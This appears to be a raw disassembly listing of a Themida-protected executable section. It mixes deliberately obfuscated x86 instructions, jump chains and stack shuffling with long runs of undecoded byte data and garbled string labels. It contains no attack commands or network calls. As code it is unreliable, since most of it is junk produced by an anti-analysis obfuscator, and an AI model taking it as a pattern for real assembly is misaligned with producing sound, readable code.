		dd 55CDF200h, 552D7C00h, 55717300h, 55142100h, 557EEB00h
		dd 55AFFC00h, 5579A100h, 552E4500h, 55A98200h, 5514DF00h
		dd 555E8400h, 55403E00h, 55A9BE00h, 55D07800h, 55567000h
		dd 55CDAE00h, 555A0D00h, 55C0F800h, 55A2CC00h, 55D3B300h
		dd 5551B200h, 55536F00h, 558DBA00h, 55A3E500h, 55D08D00h
		dd 55389200h, 559E7D00h, 55838B00h, 55CB6100h, 558EC600h
		dd 55AA1C00h, 55880B00h, 5543A300h, 55420400h, 551F6500h
		dd 5550EB00h, 5551ED00h, 55A35A00h, 55AFD000h, 557E3200h
		dd 5566D200h, 5520B600h, 552C7F00h, 5568E100h, 55765800h
		dd 552BD100h, 5516A800h, 558B8800h, 5589BA00h, 55922B00h
		dd 55B66700h, 5549B300h
		db 0
; ---------------------------------------------------------------------------

loc_551321:				; CODE XREF: Themida_:00573135j
					; Themida_:0057DB6Cj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6287FE4h
		mov	eax, edi
		add	edi, 6287CFCh
		cmp	eax, [edi+2Ch]
		jnz	short loc_55133F
		jmp	short loc_551352
; ---------------------------------------------------------------------------

loc_55133F:				; CODE XREF: Themida_:0055133Bj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55134E
; ---------------------------------------------------------------------------

loc_551349:				; CODE XREF: Themida_:00551350j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_55134E:				; CODE XREF: Themida_:00551347j
		or	ecx, ecx
		jnz	short loc_551349

loc_551352:				; CODE XREF: Themida_:0055133Dj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_55135F:				; CODE XREF: Themida_:00551366j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55135F

loc_551368:				; CODE XREF: Themida_:005519B1j
					; Themida_:00552356j ...
		lodsb
		sub	esp, 2
		jmp	loc_555F28
; ---------------------------------------------------------------------------
		dd 1C296855h, 0C890000h, 0A2685324h, 5B46BD2Ch,	0E907EBC1h
		dd 0BBD6h
; ---------------------------------------------------------------------------

loc_55138C:				; CODE XREF: Themida_:00555E25j
		add	esp, 4
		pop	eax
		add	al, bl
		mov	bx, [esp]
		jmp	loc_55261C
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0B1519E0h, 60E7E9h, 5AD58900h, 1D0468h, 24148900h, 483FFABAh
		dd 5AD52944h, 0E9EF8957h, 0AE07h, 0ED814D4Dh, 1D658905h
		dd 2D5DE829h, 57601672h, 7205D801h, 5576016h, 31167CB6h
		dd 4EC835Bh, 0A961E9h, 4A0C6800h, 4890000h, 5585424h, 4
		dd 4BD55h, 4C2D0000h, 101BD6Ah,	6A4C05E8h, 60E901BDh, 8B00003Eh
		dd 8952240Ch, 4C281E2h,	57000000h, 5729E9h, 2434FF00h
		dd 747BE9h
		db 0
; ---------------------------------------------------------------------------

loc_551429:				; CODE XREF: Themida_:0055D2B3j
		mov	[esp], cx
		jmp	loc_55C31D
; ---------------------------------------------------------------------------
		dw 5156h
		dd 531BD868h, 0BA52593Bh, 3F0818BBh, 33CA814Ah,	0F752606Ah
		dd 0E28142D2h, 6CA33459h, 194C281h, 0D12920D5h,	8E9FE9h
		dd 0BC58100h, 0E9517978h, 0B880h, 58DE68h, 24048900h, 5724348Bh
		dd 2FE95F54h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55147B:				; CODE XREF: Themida_:0055190Ej
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 45D51C03h
		jmp	loc_553312
; ---------------------------------------------------------------------------
		db 53h
		dd 0BA525B54h, 4, 7F0FEB81h, 0D3016960h, 4EC81h, 2C890000h
		dd 1818BD24h, 0EDC1169Ch, 0B2C58106h, 8135EB52h, 7853BCE5h
		dd 33F58145h, 4D00F012h, 2E2DBF57h, 0FD316DD0h,	5DEB015Fh
		dd 7E26E95Ah, 4890000h,	0D3E95024h, 66000091h, 83240C8Bh
		dd 148904ECh, 0E9E28924h, 588Dh, 0EE814E59h, 46C94DA7h
		dd 3965E9h
		db 0
; ---------------------------------------------------------------------------

loc_5514FD:				; CODE XREF: Themida_:0055D348j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_553182
; ---------------------------------------------------------------------------
aWsn2		db 'WИN2',0
		align 2
		dw 0BB53h
		dd 625F36F6h, 513F381h,	0D8891A87h, 92E9405Bh, 1000067h
		dd 0F20159CEh, 1668515Eh, 5940F827h, 2959CA31h,	479BE9D0h
		dd 0BD550000h, 40655CC0h, 3B79C581h, 0D5F73169h, 1C61E581h
		dd 0ED81678Ah, 72307C8h, 0FC7CF581h, 0EF01FEDCh, 9DFEE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551566:				; CODE XREF: Themida_:0055C442j
		xor	ecx, 45BD5290h
		or	ecx, 599B54DCh
		add	ecx, 730701D1h
		xor	ecx, 53BA444Ch
		jmp	loc_55AABA
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BF243C89h, 34DA6212h, 2C03E9h, 0C8B6600h, 3D1B6824h
		dd 0F6E90000h, 0BB000092h, 6EC06771h, 95685755h, 5F3A913Fh
		dd 0D7F7DFF7h, 8105EFC1h, 0CBFF22F7h, 5FFD891Dh, 2360B850h
		dd 17E90FF5h, 6800003Bh, 418B675Ah, 0E9241C8Bh,	9750h
		dd 0FFFD8FE9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h, 0FFFFFD80h
; ---------------------------------------------------------------------------

loc_5515E8:				; CODE XREF: Themida_:00559847j
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55BE44
; ---------------------------------------------------------------------------
		dw 0B60Fh
		dd 48F66C0h, 0FD56E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551612:				; CODE XREF: Themida_:0055B5C9j
		not	eax
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_552B97
; ---------------------------------------------------------------------------
		dw 71BEh
		dd 573CF17Dh, 1664BEBFh, 4FDFF70Fh, 2D23CF81h, 0B85049C8h
		dd 0C518C20Eh, 2958C731h, 0F7015FFEh, 2B9515Eh,	1000000h
		dd 746859CFh, 89000011h, 74FF243Ch, 34FF0424h, 0A48EE924h
		dd 2BB0000h, 1000000h, 7C685BD8h, 8900001Ah, 74FF2404h
		dd 8F580424h, 248B2404h, 47ECE924h, 0C5830000h,	0E3895302h
		dd 71ACE9h, 0D5F75D00h,	80FAF581h, 0EE2986FBh, 68595Dh
		dd 0FF000000h, 0B9E92434h, 0E9000013h, 0FFFFFCC0h, 9D1C77FFh
		dd 4105866h, 0B1E99C24h, 8BFFFFFCh, 0C481240Ch,	4, 892EE9h
		dd 52EB8100h, 8154EB20h, 0C3A93AC3h, 8BD901E6h,	3CE9241Ch
		dd 81000057h, 6839A0EAh, 0AF0BE95Fh, 0F3810000h, 42ED4135h
		dd 0AA97F381h, 0DF0174B6h, 0AA69E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5516FA:				; CODE XREF: Themida_:0055C331j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	al, 0D2h
		add	al, ch
		add	al, 0D2h
		pop	cx
		sub	al, 92h
		sub	al, 30h
		add	al, bl
		add	al, 30h
		add	al, 92h
		sub	al, 8Dh
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0A2h
		push	ecx
		mov	ch, 0DEh
		push	ax
		push	bx
		jmp	loc_55CEAB
; ---------------------------------------------------------------------------
		db 52h
		dd 0EEC079B6h, 3FF68003h, 0C680D6F6h, 5E6C0C1h,	0EE80D6F6h
		dd 31AEE91Eh, 835F0000h, 0E9C104C4h, 0E9D1F703h, 737Ah
; ---------------------------------------------------------------------------

loc_551760:				; CODE XREF: Themida_:005573C1j
		mov	edi, esp
		jmp	loc_553C61
; ---------------------------------------------------------------------------
		db 66h
		dd 2434FF59h, 4C4815Eh,	66000000h, 5A66D031h, 143BE9h
		dd 0B7E95400h, 0BB000065h, 6AB73F9Dh, 0DBF7D3F7h, 62C2CB81h
		dd 1BE941DBh, 8300005Eh, 348904ECh, 72BF6824h, 80E90256h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5517A7:				; CODE XREF: Themida_:00554976j
		add	ch, 8Ah
		pop	ax
		sub	al, ch
		mov	ecx, [esp]
		jmp	loc_553911
; ---------------------------------------------------------------------------
aZh		db 'Zh╬~',0
		align 4
aSK		db 'Ижk',0
		dd 9C516600h, 0FFFB9FE9h, 48B66FFh, 503E6824h, 2C890000h
		dd 57D76824h, 24890000h, 4BF5724h, 1000000h, 5F04247Ch
		dd 684FE9h, 5EF18900h, 4906E9C1h, 0F181D1F7h, 0FE539AB8h
		dd 159CB89h, 0C1815BD9h, 2, 4595E9h, 4BB00h, 0EE810000h
		dd 2D65327Fh, 0C681DE01h, 2D65327Fh, 0AF65E9h, 6FE95C00h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55182B:				; CODE XREF: Themida_:0055C37Ej
		sub	ecx, edi
		pop	edi
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_55B4C3
; ---------------------------------------------------------------------------
		dd 240C8B66h, 515A5452h, 3C769AB9h, 49BE5628h, 0E9314A0Bh
		dd 4FEAh, 4BFh,	31CCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55185A:				; CODE XREF: Themida_:0055CA0Ej
		sub	esi, 52166E71h
		jmp	loc_55AEFE
; ---------------------------------------------------------------------------
		db 5Fh,	31h, 0F9h
a_pq4F@s	db '_PQ╧4',0Bh,'■@Ид ',0
		dd 699C6800h, 0C9E90000h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55187F:				; CODE XREF: Themida_:0055A7ECj
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_559677
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0A1FFh, 764C781h, 55FD7086h, 0B130E9h, 1B686600h
		dd 1489666Bh, 6E21E924h, 0CD010000h, 8BEB2959h,	0E955242Ch
		dd 7AC1h, 5C240487h, 0DEE9F1F7h, 0BD000062h, 44F62A43h
		dd 8246C01h, 3C8B595Dh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edi, 4
		add	edi, 2
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_55BF10
; ---------------------------------------------------------------------------

loc_551900:				; CODE XREF: Themida_:005546C8j
		pop	eax
		add	esp, 4

loc_551904:				; CODE XREF: Themida_:00552E1Fj
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_55147B
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 60CC68h, 242C8900h, 3D15FBBDh, 0E9EA2940h, 97Bh
; ---------------------------------------------------------------------------

loc_55192C:				; CODE XREF: Themida_:0055A8DFj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_551CB3
		sub	esp, 4
		mov	[esp], edx
		xor	dword ptr [esp], 429B78D1h
		jmp	loc_5524F3
; ---------------------------------------------------------------------------
		dd 53243489h, 0A3579BBBh, 570C680Bh, 14890000h,	25BD5524h
		dd 0F7062A2Fh, 0C0C581DDh, 813B7306h, 947A10C5h, 4DD5F733h
		dd 55BAED81h, 26E98B7Fh
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_551983:				; CODE XREF: Themida_:005560E3j
		push	ecx
		mov	ecx, 6E3D6641h
		jmp	loc_55BC83
; ---------------------------------------------------------------------------

loc_55198E:				; CODE XREF: Themida_:00556F12j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55A4DD
; ---------------------------------------------------------------------------
		db 0ACh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		jmp	loc_55D2AF
; ---------------------------------------------------------------------------

loc_5519AE:				; CODE XREF: Themida_:005598A0j
		mov	esp, [esp]
		jmp	loc_551368
; ---------------------------------------------------------------------------
		dw 26B9h
		dd 816CA62Eh, 0A90805E9h, 9EDDE956h, 0E5890000h, 4C581h
		dd 5BE90000h, 81000073h, 9B26F3CDh, 97E95104h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5519DF:				; CODE XREF: Themida_:00559523j
		push	ebx
		mov	ebx, 302E65C7h
		mov	edi, 302E65CBh
		sub	edi, ebx
		jmp	loc_554672
; ---------------------------------------------------------------------------
		db 0C0h, 0EAh, 8
		dd 0F6F1C280h, 38EA80D2h, 2804C280h, 0E8005AD5h, 0E0895059h
		dd 405h, 42D00h, 0CFE90000h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551A17:				; CODE XREF: Themida_:00554588j
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	eax, 396A2Dh
		sub	esp, 4
		jmp	loc_55BB89
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0BE5653EAh, 35BC492Dh, 9EBE5653h, 89079E35h,	0DE315EF3h
		dd 28B4E9h
		db 0
; ---------------------------------------------------------------------------

loc_551A61:				; CODE XREF: Themida_:0055B4D8j
		dec	ecx
		push	edx
		mov	edx, 10DB0BD4h
		neg	edx
		and	edx, 607B46B3h
		shl	edx, 6
		add	edx, 0BA9EB4D8h
		add	ecx, edx
		pop	edx
		jmp	loc_5588F9
; ---------------------------------------------------------------------------

loc_551A81:				; CODE XREF: Themida_:00559ABBj
		sub	bl, 0Bh
		sub	bl, cl
		jmp	loc_554942
; ---------------------------------------------------------------------------

loc_551A8B:				; CODE XREF: Themida_:0055BBDEj
		sub	ecx, 611E0425h
		add	ecx, ebx
		add	ecx, 611E0425h
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_553EB7
; ---------------------------------------------------------------------------
		dd 6804C483h, 6D32h, 0B9240C89h, 4, 7135C281h, 0CA011AF0h
		dd 4CC3B850h, 0AD0D1C44h, 40413D0Eh, 1156C305h,	87354814h
		dd 296B7ED4h, 815958C2h, 2C2h, 24143300h, 33241431h, 248B2414h
		dd 0F9F76624h, 421D6866h, 24148966h, 0E99C5066h, 20F4h
; ---------------------------------------------------------------------------

loc_551B00:				; CODE XREF: Themida_:00554324j
		mov	[esp], cx
		mov	cl, 0E3h
		sub	bl, cl
		pop	cx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_559970
; ---------------------------------------------------------------------------
		dd 2C281h, 68E90000h, 81000084h, 832507EAh, 0E9DA2926h
		dd 72ACh, 240C895Ch, 0EC88D588h, 58E78859h, 1877C88h, 81241C8Bh
		dd 4ECh, 24048900h, 405E089h, 5000000h,	4, 31240433h, 4332404h
		dd 396CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551B66:				; CODE XREF: Themida_:0055D002j
		inc	ecx
		add	ecx, 46DCB400h
		sub	eax, ecx
		pop	ecx
		jmp	loc_55B039
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 54FC2E45h
		jmp	loc_55BFCF
; ---------------------------------------------------------------------------

loc_551B8E:				; CODE XREF: Themida_:00553660j
		mov	[esp], eax
		jmp	loc_555459
; ---------------------------------------------------------------------------
aLS		db '▀<$Иэ+',0
		align 2

loc_551B9E:				; CODE XREF: Themida_:0055D134j
		add	ecx, 0E38223F3h
		and	eax, ecx
		jmp	loc_557B34
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2892414h, 2078E9h,	0CB814300h, 459E54B6h, 0EBC14343h
		dd 0DAF38106h, 0E9011EF9h, 0F60h, 3C460205h, 3949E91Bh
		dd 0C5830000h, 242C8704h, 144AE9h, 6E9C100h, 0E981D9F7h
		dd 0D5E26005h, 0FE9CB89h, 0FF0000ABh, 59042474h, 8B24048Fh
		dd 0F7662424h, 0BE6866E1h, 14896645h, 9C506624h, 0FFF757E9h
		dd 4C681FFh, 81000000h,	4C6h, 24348700h, 240C875Ch, 0D224248Bh
		dd 0E99C2424h, 0FFFFF738h
; ---------------------------------------------------------------------------

loc_551C30:				; CODE XREF: Themida_:00559099j
		sub	ebp, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5521D5
; ---------------------------------------------------------------------------
aVSr4		db 'V]Иr4',0
		align 4
aAids		db '(ц─КDИш&',0
		align 2
		dw 0EC81h
		dd 4, 68243489h, 134Fh,	24048F54h, 4240483h, 5E2434FFh
		dd 8104C483h, 4C6h, 2B95100h, 81000000h, 700F19EEh, 81CE0176h
		dd 700F19C6h, 0ACC4E976h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551C8A:				; CODE XREF: Themida_:0055988Aj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6C8D2616h
		push	edi
		mov	edi, 7FBB7707h
		add	edi, 5A15739h
		dec	edi
		shr	edi, 5
		xor	edi, 1DBCDD71h
		jmp	loc_556E90
; ---------------------------------------------------------------------------

loc_551CB3:				; CODE XREF: Themida_:00551935j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_55B5E3
		sub	esp, 4
		mov	[esp], esi
		push	edx
		push	5627357Dh
		pop	edx
		xor	edx, 5627357Dh
		mov	esi, edx
		pop	edx
		jmp	loc_55A95F
; ---------------------------------------------------------------------------
		db 89h
		dd 55B7241Ch, 80CCF780h, 5FE909F7h, 890000A9h, 0E2892414h
		dd 0A87B850h, 0AA0D7216h, 481D0016h, 2B07BD55h,	0F5812F34h
		dd 0D872537h, 19F3E9h
		db 0
; ---------------------------------------------------------------------------

loc_551D0D:				; CODE XREF: Themida_:005538E5j
		mov	[ebx], esi
		pop	ebx
		mov	esi, [esp]
		jmp	loc_55B5E0
; ---------------------------------------------------------------------------
		dd 4505EF81h, 0D7F73FA2h, 0ACDEC781h, 35E9D77Eh, 29000048h
		dd 75E95DE9h, 0FF00007Ah, 2DE92C77h, 0C1FFFFF6h, 685304EFh
		dd 78BA01DBh, 81241C8Bh, 4C4h, 6B99E900h, 73250000h, 2D2CCF04h
		dd 0C8D0071h, 8758C301h, 0E95C241Ch, 0A313h
; ---------------------------------------------------------------------------

loc_551D68:				; CODE XREF: Themida_:00557FEFj
		add	esp, 4
		and	ecx, ebx
		jmp	loc_5523BD
; ---------------------------------------------------------------------------
aZsU		db 'ZИм⌠',0
		dw 0FE00h
		dd 3C380CBh, 61E9DD88h,	81000052h, 4C4h, 0EAC38000h, 283CEB80h
		dd 27E952C3h, 8B000082h, 34FF2424h, 24048B24h, 7B2EE9h
		dd 0E934B500h, 0AAC5h, 1E1C3068h, 2434FF65h, 4C4815Dh
		dd 0C1000000h, 0ED8108EDh, 1, 14B7E9h, 39C98000h, 0D01DE180h
		dd 80C1FEE1h, 0C800E9C1h, 3792E9h
		db 0
; ---------------------------------------------------------------------------

loc_551DE1:				; CODE XREF: Themida_:005543E5j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		sub	bl, 0B0h
		add	bl, al
		jmp	loc_55431B
; ---------------------------------------------------------------------------
		dw 0DDF6h
		dd 0F580C5FEh, 0DDED80E3h, 8823E9h
		db 0
; ---------------------------------------------------------------------------

loc_551E01:				; CODE XREF: Themida_:0055391Cj
		add	al, dh
		pop	edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_555715
; ---------------------------------------------------------------------------
		db 0FEh, 0C2h, 80h
		dd 0EA800AEAh, 5AD5885Eh, 0C0FEC586h, 6555E9h, 0BF0F5C00h
		dd 3C51E9C8h, 0C4810000h, 4, 0DFE9C829h, 100002Ah, 7CED81F5h
		dd 815CF972h, 0D75ABAEDh, 24348B6Ah, 5BF768h, 242C8900h
		dd 0B951E589h, 4, 1BE9CD01h, 81000009h,	0FC59FEEFh, 1FE94Bh
		dd 51530000h, 0B82BF3B9h, 0E9CE910h, 0CA310000h, 0BB53h
		dd 0EB810000h, 6BAD1390h, 25DBE9h, 0E9C72900h, 68D3h, 42770ABAh
		dd 37EA8149h, 0D10D0E6Fh, 1BC281EAh, 89E1E5FCh,	0C6015AD0h
		dd 4EC8358h, 0BB241C89h, 2, 0EFE9DE01h,	80000058h, 8CE989E3h
		dd 2900009Fh, 2C8B242Ch, 4C48124h, 81000000h, 216CABF5h
		dd 0FCE58158h, 68707E1Eh, 7E85h, 0B8240489h, 7AB23AEBh
		dd 0E9E8D140h, 90FBh
; ---------------------------------------------------------------------------

loc_551EF0:				; CODE XREF: Themida_:0055BEBAj
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559BDB
; ---------------------------------------------------------------------------
aSpUiXsa	db ',щSP╟Н┬гXИ─&',0
		dw 8300h
		dd 148904ECh, 24048124h, 59527629h, 29EB815Bh, 5A595276h
		dd 1C737305h, 84BFE903h, 0E95E0000h, 5B5Ch, 56243C89h
		dd 0D16FDDBEh, 9B41BF23h, 39E938BDh, 68000025h,	74174F47h
		dd 53240C8Bh, 0C381E389h, 4, 5304C383h,	5FABE9h, 48B6600h
		dd 2180E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551F6E:				; CODE XREF: Themida_:0055453Dj
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		push	edi
		jmp	loc_556503
; ---------------------------------------------------------------------------
		dd 80C3005Ah, 0E6E90AEBh, 0BD000067h, 65065B1Bh, 2956E9h
		dd 81E78900h, 4C7h, 3C6DE900h, 0CE010000h, 6251E955h, 0D3880000h
		dd 5A5BDD88h, 0D6E9EB88h, 3100007Bh, 14332414h,	0ACA2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551FC2:				; CODE XREF: Themida_:00554254j
		mov	[esp], eax
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		not	ebx
		jmp	loc_55BFC2
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 84h
		dd 1AC899Bh, 0C2815EF2h, 2, 2474FF52h, 48F5A04h, 24248B24h
		dd 1503E9h
		db 0
; ---------------------------------------------------------------------------

loc_551FF5:				; CODE XREF: Themida_:00552998j
		and	ecx, 493A6183h
		add	ecx, 0B096E4Dh
		sub	ecx, 0F0E9F29h
		add	esi, ecx
		pop	ecx
		add	esi, ebx
		sub	esi, 3C0B10A7h
		pop	ebx
		add	esi, 4
		jmp	loc_554D4A
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 83000000h,	48704E8h, 1C895C24h, 4EC8124h
		dd 89000000h, 29E92434h, 50FFFFF4h, 0B252B1B4h,	0E3E28069h
		dd 0B7E9C2FEh, 66000054h, 8324048Bh, 48904ECh, 99E8E924h
		dd 0F8000000h, 6ABCE9h,	22936800h, 34890000h, 2B85024h
		dd 0E9000000h, 0A625h, 815EF501h, 4C5h,	242C8700h, 5124248Bh
		dd 240C8B54h, 4C481h, 0C1810000h, 4, 4A3E68h, 24348900h
		dd 5321E9h, 0F2BEE900h,	34FFFFFFh, 2434FF24h, 0A95DE958h
		dd 248B0000h, 0F2AAE924h, 0C33FFFFh, 24248B24h,	24048B66h
		dd 6BF568h, 8638E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5520D2:				; CODE XREF: Themida_:0055668Bj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		push	800h
		mov	esi, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_557B03
; ---------------------------------------------------------------------------
		db 59h,	87h, 14h
		dd 3C895C24h, 81E78924h, 4C7h, 48FD6800h, 7EE90000h, 3100007Ch
		dd 42E92404h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55214F:				; CODE XREF: Themida_:0055964Fj
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_554127
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 60CC38A2h, 0E981F901h, 60CC38A2h, 2617E9h, 0F3E95100h
		dd 89000068h, 0ACE92404h, 55h, 596866D8h, 14896608h, 81E9B624h
		dd 4ECh, 241C8900h, 0D80081B3h,	81241C8Bh, 4C4h, 2CF02800h
		dd 835A6681h, 1C8904ECh, 4EC8124h, 89000000h, 49B5240Ch
		dd 0EB8076B3h, 0E9EB0067h, 7323h, 1299BB53h, 0CB810646h
		dd 341F2314h, 0A4DBE9h
		db 0
; ---------------------------------------------------------------------------

loc_5521D5:				; CODE XREF: Themida_:00551C38j
		add	ebx, 4
		push	edx
		mov	edx, 4
		jmp	loc_55B88B
; ---------------------------------------------------------------------------
		dw 9DB8h
		dd 0E9541415h, 8F36h, 0E34D3905h, 0EDBB5377h, 292C0576h
		dd 685F5BD8h, 3E73h, 57242C89h,	21256853h, 815B1686h, 0DE0A5AC3h
		dd 5BDF8958h, 51FCE781h, 5CE91774h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552223:				; CODE XREF: Themida_:0055BB7Aj
		add	edx, ebx
		pop	ebx
		jmp	loc_559D31
; ---------------------------------------------------------------------------
		db 1
		dd 0F7015DEFh, 28A7E9h
		db 0
; ---------------------------------------------------------------------------

loc_552235:				; CODE XREF: Themida_:0055B59Aj
		xor	bl, al
		movzx	eax, al
		jmp	loc_552B81
; ---------------------------------------------------------------------------

loc_55223F:				; CODE XREF: Themida_:0055BC9Ej
		sub	ecx, 6A910C68h
		jmp	loc_55429F
; ---------------------------------------------------------------------------

loc_55224A:				; CODE XREF: Themida_:00556CF7j
		add	edx, 4
		add	edx, 4
		jmp	loc_559109
; ---------------------------------------------------------------------------

loc_552258:				; CODE XREF: Themida_:0055A065j
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		push	ebp
		mov	ebp, 7DC7791Ah
		add	edx, ebp
		pop	ebp
		sub	edx, ecx
		sub	edx, 7DC7791Ah
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	0DE7h
		mov	[esp], edx
		pop	eax
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55CF23
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0EC83CA01h, 243C8904h, 735524BFh, 0D7C78128h, 117C9C0h
		dd 81595FFAh, 2C2h, 24143300h, 0E9241431h, 3677h, 370C22BAh
		dd 6DF2810Eh, 810F9724h, 5FD7B5C2h, 8BD001FEh, 0C4832414h
		dd 6FE95304h, 0FFFFFFF3h, 0E95A2434h, 84A8h, 1D3B68h, 242C8900h
		dd 17F0E9h
		db 0
; ---------------------------------------------------------------------------

loc_552305:				; CODE XREF: Themida_:00555A5Ej
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_557DBA
; ---------------------------------------------------------------------------
		db 29h,	0DEh, 81h
		dd 3C6101C6h, 6CFEE92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552326:				; CODE XREF: Themida_:005538EBj
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55A255
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 4
		jmp	loc_55A713
; ---------------------------------------------------------------------------

loc_552352:				; CODE XREF: Themida_:00556236j
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_551368
; ---------------------------------------------------------------------------
		db 81h
		dd 0D49604EAh, 1EB951AAh, 0E91E5E03h, 93E5h
; ---------------------------------------------------------------------------

loc_55236C:				; CODE XREF: Themida_:00553B47j
		and	eax, esi
		pop	esi
		jmp	loc_55618A
; ---------------------------------------------------------------------------
		dd 6A2C05ADh, 0DE2D2C87h, 549C946h, 69BF5ADCh, 0E951D801h
		dd 4AE0h, 54240489h, 582434FFh,	87D6E9h, 81FB0100h, 0D30EFAEBh
		dd 0E9C3816Ch, 81061F10h, 0AD245FC3h, 7DE5E949h, 0E9810000h
		dd 0FFFFFFFFh, 4666E9h
		db 0
; ---------------------------------------------------------------------------

loc_5523BD:				; CODE XREF: Themida_:00551D70j
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_555F48
; ---------------------------------------------------------------------------
aQsi		db 'QИ╗!',0
		db 0
; ---------------------------------------------------------------------------

loc_5523D5:				; CODE XREF: Themida_:0055C903j
		xor	ebx, 40DA0156h
		jmp	loc_55614D
; ---------------------------------------------------------------------------
aYs		db 'YИ>^',0
		align 2
		dw 34FFh
		dd 0C4815A24h, 4, 8904EC83h, 5F54243Ch,	4C781h,	47E90000h
